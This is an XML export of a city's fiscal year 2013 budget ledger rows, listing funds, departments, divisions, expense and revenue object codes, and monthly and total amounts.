<row _id="2733"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="2734"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>945.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>945.0</total></row>
<row _id="2735"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-20661.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20661.0</total></row>
<row _id="2736"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3416.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>34</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3450.0</total></row>
<row _id="2737"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579260.0</object><object_description>INTERNET/WWW SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="2738"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401780.0</object><object_description>PICNIC AREA PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10667.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10667.0</total></row>
<row _id="2739"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1469.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1469.0</total></row>
<row _id="2740"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5510.0</total></row>
<row _id="2741"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4500.0</total></row>
<row _id="2742"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-12888710.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12888710.0</total></row>
<row _id="2743"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562162.0</object><object_description>JEWISH VOCATIONAL SERVICE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>51743.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51743.0</total></row>
<row _id="2744"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563128.0</object><object_description>PARATRANSIT PROGRAM-GENERAL FD</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>92578.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>92578.0</total></row>
<row _id="2745"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569222.0</object><object_description>RUSKIN GROUP THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="2747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120462.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120462.0</total></row>
<row _id="2748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409080.0</object><object_description>ADULT SOCCER LEAGUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-245999.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-245999.0</total></row>
<row _id="2749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1547.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="2750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="2751"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="2752"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6551.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>66</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6617.0</total></row>
<row _id="2753"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2128.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>21</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2149.0</total></row>
<row _id="2754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>372.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>54</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>426.0</total></row>
<row _id="2755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>189.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>214.0</total></row>
<row _id="2756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>588110.0</object><object_description>TRAFFIC CONTROL EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27366.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27366.0</total></row>
<row _id="2757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578839.0</object><object_description>JUSTICE ASSIST GRANT 2012-OT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>33776.0</july><august>0</august><september>0.0</september><october>115.52</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33891.52</total></row>
<row _id="2758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-STREET LIGHTS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1001148.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1001148.0</total></row>
<row _id="2759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1044.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1094.0</total></row>
<row _id="2760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14129.0</july><august>0</august><september>0.0</september><october>147.0</october><november>0</november><december>0</december><january>0.0</january><february>143</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14419.0</total></row>
<row _id="2761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17381.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17343.0</total></row>
<row _id="2762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10445.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>104</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10549.0</total></row>
<row _id="2763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="2764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="2765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1850.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1850.0</total></row>
<row _id="2766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17343.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17305.0</total></row>
<row _id="2767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1362.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1355.0</total></row>
<row _id="2768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>185208.0</july><august>0</august><september>0.0</september><october>-2020.0</october><november>0</november><december>0</december><january>0.0</january><february>1837</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>185025.0</total></row>
<row _id="2769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3012.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3087.0</total></row>
<row _id="2770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404930.0</object><object_description>SALE OF COMPOSTING BINS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-6045.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-6045.0</total></row>
<row _id="2771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>137000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137000.0</total></row>
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<row _id="2774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1080.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>108</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
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<row _id="2777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>963.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>963.0</total></row>
<row _id="2778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>132648.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-424</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>132224.0</total></row>
<row _id="2779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-251</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3160.0</total></row>
<row _id="2780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>77317.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>77317.0</total></row>
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<row _id="2783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
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<row _id="2785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2170.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2170.0</total></row>
